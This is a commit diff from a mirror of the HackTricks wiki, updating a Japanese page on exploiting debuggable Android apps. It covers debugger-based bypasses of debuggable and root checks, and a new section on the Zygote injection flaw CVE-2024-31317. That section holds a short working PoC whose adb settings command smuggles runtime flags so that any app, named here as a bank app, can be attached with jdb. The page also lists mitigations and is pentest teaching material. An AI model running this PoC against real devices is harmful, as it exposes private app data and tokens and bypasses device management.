mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/mobile-pentesting/android-app-pentesting/exploiting-a-d
This commit is contained in:
parent
6aedcd568b
commit
f5572ab262
@ -15,12 +15,12 @@
|
||||
1. **APKをデコンパイルする:**
|
||||
|
||||
- APKをデコンパイルするためにAPK-GUIツールを利用します。
|
||||
- _android-manifest_ファイルに`android:debuggable=true`を挿入してデバッグモードを有効にします。
|
||||
- _android-manifest_ファイルに`android:debuggable="true"`を挿入してデバッグモードを有効にします。
|
||||
- 修正したアプリケーションを再コンパイル、署名、zipalignします。
|
||||
|
||||
2. **修正したアプリケーションをインストールする:**
|
||||
|
||||
- コマンド: `adb install <application_name>`を使用します。
|
||||
- コマンドを使用します: `adb install <application_name>`。
|
||||
|
||||
3. **パッケージ名を取得する:**
|
||||
|
||||
@ -30,7 +30,7 @@
|
||||
|
||||
- コマンド: `adb shell am setup-debug-app –w <package_name>`。
|
||||
- **注意:** このコマンドは、アプリケーションを開始する前に毎回実行する必要があります。
|
||||
- 永続性のために、`adb shell am setup-debug-app –w -–persistent <package_name>`を使用します。
|
||||
- 永続性を持たせるために、`adb shell am setup-debug-app –w ––persistent <package_name>`を使用します。
|
||||
- すべてのフラグを削除するには、`adb shell am clear-debug-app <package_name>`を使用します。
|
||||
|
||||
5. **Android Studioでデバッグの準備をする:**
|
||||
@ -43,9 +43,9 @@
|
||||
|
||||
### **チェックのバイパス**
|
||||
|
||||
アプリケーションは、特定のポイントでデバッグ可能かどうかを確認し、ルートデバイスを示すバイナリもチェックします。デバッガを使用してアプリ情報を変更し、デバッグ可能ビットを解除し、検索されたバイナリの名前を変更してこれらのチェックをバイパスできます。
|
||||
アプリケーションは、特定のポイントでデバッグ可能かどうかを確認し、ルートデバイスを示すバイナリをチェックします。デバッガを使用してアプリ情報を変更し、デバッグ可能ビットを解除し、検索されたバイナリの名前を変更してこれらのチェックをバイパスできます。
|
||||
|
||||
デバッグ可能チェックのために:
|
||||
デバッグ可能チェックについて:
|
||||
|
||||
1. **フラグ設定を変更する:**
|
||||
- デバッガコンソールの変数セクションで、`this mLoadedAPK -> mApplicationInfo -> flags = 814267974`に移動します。
|
||||
@ -53,25 +53,25 @@
|
||||
|
||||

|
||||
|
||||
これらの手順は、アプリケーションがデバッグ可能であり、特定のセキュリティチェックをデバッガを使用してバイパスできることを保証し、アプリケーションの動作のより詳細な分析や変更を促進します。
|
||||
これらの手順は、アプリケーションがデバッグ可能であり、デバッガを使用して特定のセキュリティチェックをバイパスできることを保証し、アプリケーションの動作のより詳細な分析や変更を可能にします。
|
||||
|
||||
ステップ2では、フラグ値を814267972に変更することが含まれ、これはバイナリで110000101101000000100010100として表されます。
|
||||
|
||||
# **脆弱性の悪用**
|
||||
|
||||
ボタンとテキストビューを含む脆弱なアプリケーションを使用したデモが提供されました。最初にアプリケーションは「Crack Me」と表示します。目的は、ソースコードを変更せずに、実行時に「Try Again」から「Hacked」にメッセージを変更することです。
|
||||
脆弱なアプリケーションを使用したデモが提供され、ボタンとテキストビューが含まれていました。最初にアプリケーションは「Crack Me」と表示します。目的は、ソースコードを変更せずに、実行時に「Try Again」から「Hacked」にメッセージを変更することです。
|
||||
|
||||
## **脆弱性の確認**
|
||||
|
||||
- アプリケーションは`apktool`を使用してデコンパイルされ、`AndroidManifest.xml`ファイルにアクセスしました。
|
||||
- AndroidManifest.xmlに`android_debuggable="true"`が存在することは、アプリケーションがデバッグ可能であり、悪用される可能性があることを示しています。
|
||||
- `apktool`は、コードを変更せずにデバッグ可能ステータスを確認するためのみに使用されることに注意してください。
|
||||
- `apktool`は、コードを変更することなくデバッグ可能ステータスを確認するためにのみ使用されることに注意してください。
|
||||
|
||||
## **セットアップの準備**
|
||||
|
||||
- プロセスにはエミュレーターの起動、脆弱なアプリケーションのインストール、`adb jdwp`を使用してリスニングしているDalvik VMポートを特定することが含まれました。
|
||||
- JDWP(Java Debug Wire Protocol)は、VM内で実行されているアプリケーションのデバッグを可能にし、ユニークなポートを公開します。
|
||||
- リモートデバッグのためにポートフォワーディングが必要で、その後JDBをターゲットアプリケーションにアタッチしました。
|
||||
- リモートデバッグのためにポートフォワーディングが必要で、その後ターゲットアプリケーションにJDBを接続しました。
|
||||
|
||||
## **実行時にコードを注入する**
|
||||
|
||||
@ -81,11 +81,47 @@
|
||||
- `locals`、`next`、および`set`コマンドを使用してローカル変数を検査および変更し、「Try Again」メッセージを「Hacked」に変更しました。
|
||||
- 修正されたコードは`run`コマンドを使用して実行され、アプリケーションの出力がリアルタイムで変更されました。
|
||||
|
||||
この例は、デバッグ可能なアプリケーションの動作がどのように操作できるかを示し、アプリケーションのコンテキスト内でデバイスへのシェルアクセスを取得するなど、より複雑な悪用の可能性を強調しています。
|
||||
この例は、デバッグ可能なアプリケーションの動作がどのように操作できるかを示し、アプリケーションのコンテキスト内でデバイスへのシェルアクセスを取得するなどのより複雑な悪用の可能性を強調しています。
|
||||
|
||||
---
|
||||
|
||||
# 2024 – **任意の**アプリケーションをデバッグ可能なプロセスに変える (CVE-2024-31317)
|
||||
|
||||
ターゲットAPKが`android:debuggable`フラグを持っていなくても、最近の研究により、Zygoteがコマンドライン引数を解析する方法を悪用することで、**任意のアプリケーション**を`DEBUG_ENABLE_JDWP`ランタイムフラグで起動することが可能であることが示されました。
|
||||
|
||||
* **脆弱性:** Zygoteのコマンドソケットを介して提供される`--runtime-flags`の不適切な検証により、`system_server`に到達できる攻撃者(例えば、`WRITE_SECURE_SETTINGS`権限を持つ特権`adb`シェルを介して)が追加のパラメータを注入できます。作成されたコマンドが`system_server`によって再生されると、被害者アプリはデバッグ可能としてフォークされ、JDWPスレッドがリスニングします。この問題は**CVE-2024-31317**として追跡され、2024年6月のAndroidセキュリティバルテンにて修正されました。
|
||||
* **影響:** **任意の**アプリのプライベートデータディレクトリへの完全な読み取り/書き込みアクセス(`com.android.settings`などの特権アプリを含む)、トークンの盗難、MDMのバイパス、そして多くの場合、現在デバッグ可能なプロセスのエクスポートされたIPCエンドポイントを悪用することによる特権昇格への直接的な道。
|
||||
* **影響を受けるバージョン:** 2024年6月のパッチレベル以前のAndroid 9から14。
|
||||
|
||||
## クイックPoC
|
||||
```bash
|
||||
# Requires: adb shell (device must be <2024-06-01 patch-level)
|
||||
# 1. Inject a fake API-denylist exemption that carries the malicious Zygote flag
|
||||
adb shell settings put global hidden_api_blacklist_exemptions "--runtime-flags=0x104|Lcom/example/Fake;->entryPoint:"
|
||||
|
||||
# 2. Launch the target app – it will be forked with DEBUG_ENABLE_JDWP
|
||||
adb shell monkey -p com.victim.bank 1
|
||||
|
||||
# 3. Enumerate JDWP PIDs and attach with jdb / Android-Studio
|
||||
adb jdwp # obtain the PID
|
||||
adb forward tcp:8700 jdwp:<pid>
|
||||
jdb -connect com.sun.jdi.SocketAttach:hostname=localhost,port=8700
|
||||
```
|
||||
> ステップ1で作成された値は、パーサーを「ファストパス」から外し、`--runtime-flags=0x104`(`DEBUG_ENABLE_JDWP | DEBUG_JNI_DEBUGGABLE`)がフレームワークによって提供されたかのように受け入れられる2番目の合成コマンドを追加します。アプリが生成されると、JDWPソケットが開かれ、通常の動的デバッグトリック(メソッド置換、変数パッチ、ライブFrida注入など)が**APKやデバイスのブートイメージを変更することなく**可能になります。
|
||||
|
||||
## 検出と緩和
|
||||
|
||||
* **2024-06-01**(またはそれ以降)のセキュリティレベルにパッチを適用 – Googleは`ZygoteCommandBuffer`を強化し、以降のコマンドがこの方法で密輸されることができないようにしました。
|
||||
* 生産デバイスでの`WRITE_SECURE_SETTINGS` / `shell`アクセスを制限します。このエクスプロイトはこの権限を必要とし、通常はADBまたはOEM特権アプリのみが保持します。
|
||||
* EMM/MDM管理のフリートでは、`ro.debuggable=0`を強制し、`adb disable-verifier`でシェルを拒否します。
|
||||
|
||||
---
|
||||
|
||||
## 参考文献
|
||||
|
||||
- [https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0](https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0)
|
||||
- [https://resources.infosecinstitute.com/android-hacking-security-part-6-exploiting-debuggable-android-applications](https://resources.infosecinstitute.com/android-hacking-security-part-6-exploiting-debuggable-android-applications)
|
||||
- [https://rtx.meta.security/exploitation/2024/06/03/Android-Zygote-injection.html](https://rtx.meta.security/exploitation/2024/06/03/Android-Zygote-injection.html)
|
||||
- [https://blog.flanker017.me/cve-2024-31317/](https://blog.flanker017.me/cve-2024-31317/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user